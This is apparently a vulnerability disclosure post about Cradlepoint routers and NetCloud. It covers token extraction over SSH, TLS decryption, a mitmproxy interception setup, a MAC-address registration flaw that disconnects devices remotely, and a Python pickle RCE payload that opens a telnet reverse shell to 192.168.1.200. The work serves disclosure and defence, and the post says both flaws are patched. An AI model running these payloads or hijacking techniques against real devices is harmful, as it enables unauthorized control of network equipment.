In this post we explore various techniques and vulnerabilities associated with Cradlepoint routers and NetCloud. It details methods such as obtaining access tokens through SSH, decrypting NetCloud traffic using Wireshark, MITM attacks with mitmproxy, and exploiting insecure device registration using MAC addresses. Additionally, it highlights a Remote Code Execution (RCE) vulnerability through Python pickle deserialization, which could lead to unauthorized access and manipulation of network devices; however, both the device registration and RCE vulnerabilities have been recently patched.
Cradlepoint documentation:
WPC Authentication / ECM:
token_id
and token_secret
$ binwalk –extract nordump_pw0000.bin
$ grep -rl "wpc.auth" .
ecm
command in the router’s CLI
tri
, ale
, dif
stream.cradlepointecm.com
8001
/service_manager/services/wpcclient/stream.crt
wpcclient.pyc
) probably only works if it’s manually activated from the NetCloud side (see use case).Read NetCloud token from a patched router CLI:
Connect to the router via SSH:
ssh admin@192.168.0.1
admin@192.168.0.1's password:
[admin@IBR600C-a38: /]$ sh
/service_manager # cppython
… and paste the following into the interpreter:
import filemanager
from board import board
file_io = board.get_partition("2nd Filemanager", rwdev=True)
fm2 = filemanager.FileManager2(file_io)
token = fm2.get("wpc.auth")
Example output: (2439001, 0, '2b29ffccbda7e45df943dc1e82a096af04e24249', 'stream.cradlepointecm.com', 8001)
You can use the netcloud
command to register the router with the token:
[admin@IBR600C-a38: /]$ netcloud register --token_id=0 --token_secret=2b29ffccbda7e45df943dc1e82a096af04e24249
This step requires a rooted device (see here for details).
SSLKEYLOGFILE
environment variable in /etc/rc
and reflash the device:export SSLKEYLOGFILE=/tmp/ssl_key.txt
ssh admin@192.168.0.1
admin@192.168.0.1's password:
[admin@IBR600C-a38: /]$ sh
/service_manager # cd /var/tmp && tcpdump -i athc00 -w /tmp/netcloud_dump.pcap
/var/tmp # iptables -A INPUT -p tcp --dport 8080 -j ACCEPT
/var/tmp # cppython -m http.server 8080
$ wget 192.168.0.1:8080/netcloud_dump.pcap
Import pre-master secret into Wireshark: Grab the file from step 1) and add it to Wireshark (Preferences
–> TLS
–> (Pre)-Master-Secret logfile name
)
Export TLS stream as YAML: Follow
–> TLS Stream
–> Show Data as YAML
Finally, parse the YAML file with this script.
This how-to sets up your MITM box as a transparent proxy to intercept Netcloud communications with mitmproxy (we used a Raspberry Pi for this purpose).
dnsmasq
and configure iptables
rules. For example:#!/bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o wlan0 -j ACCEPT
sudo iptables -A FORWARD -i wlan0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8001 -j REDIRECT --to-port 8080
sudo systemctl daemon-reload && sudo systemctl restart dhcpcd
sudo service dnsmasq restart
Setup the router’s WAN interface to use your proxy as the default gateway (e.g., via the web interface)
Install mitmproxy (on Raspberry Pi):
$ curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
$ sudo apt-get install build-essential libssl-dev libffi-dev python3-dev cargo
$ git clone https://github.com/mitmproxy/mitmproxy/tree/main/mitmproxy
$ cd mitmproxy
$ pip install -e .
On the router, copy your MITM CA certificate into the file /service_manager/services/wpcclient/stream.crt
(trusted CA “store”)
Copy your MITM CA certificate into mitmproxy’s folder. It must have the name mitmproxy-ca.pem
and the following structure:
-----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
...
-----END CERTIFICATE-----
$ mitmproxy --mode transparent --set confdir=$HOME/mitmproxy --rawtcp --tcp-hosts ".*" -s mitmproxy_netcloud_logging.py
A device registered with Netcloud can be disconnected remotely by registering it again from any machine connected to the Internet by knowing its MAC address only (w/o Netcloud credentials and w/o accessing the device physically). The device’s identity is based on its MAC address only.
To reproduce, one has to go through the following steps:
insecure_registration
. This function is taking a MAC address as input and is computing a value out of it together with multiple hashes. We were able to get a temporary Netcloud authentication token using this function by calling the Netcloud API function check_activation
with the result of the insecure_registration
function, using a valid MAC address as input. Such MAC addresses can be easily obtained from online marketplaces such as Ebay.After calling the API, one receives an access token from stream.cradlepointecm.com
, e.g.:
{'token_id': 'temp-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx',
'token_secret': 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'}
This token can then be used to call the authorize
and register
Netcloud APIs to register the target device with its MAC address from any machine.
As a result, the target device is disconnected from its Netcloud account and disappears. Also, it loses its license. To re-connect the router, it must be manually re-registered via the web/ssh interface or physical access.
The attacker does not need to have a Netcloud account by her/himself. Only knowledge of the target’s MAC address is needed. This vulnerability has been patched.
By analyzing the traffic between Netcloud and our Cradlepoint router, we noticed that during registration, the router engages in a license sync with Netcloud by sending its license as a pickled Base64 encoded byte stream. Here is an example:
{'command': 'post', 'args': {'queue': 'license_sync', 'id': 'xxx', 'value': {'success': True, 'data': 'gAJ9[...]=='}}}
The Python pickle module implements binary protocols for serializing and de-serializing a Python object structure. A big warning is stated:
:warning: Warning The pickle module is not secure. Only unpickle data you trust. :warning:
As we control the data, it’s possible to execute malicious pickle opcodes on Netcloud servers. For example, remote execution is possible, see this blog. We can use this simple payload to get a reverse shell:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('telnet 192.168.1.200 8080 | /bin/bash | telnet 192.168.1.200 8081')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(pickled)
We didn’t run the attack against Netcloud servers, but were able to exploit the issue on the router (see example PoC here). This vulnerability has been patched.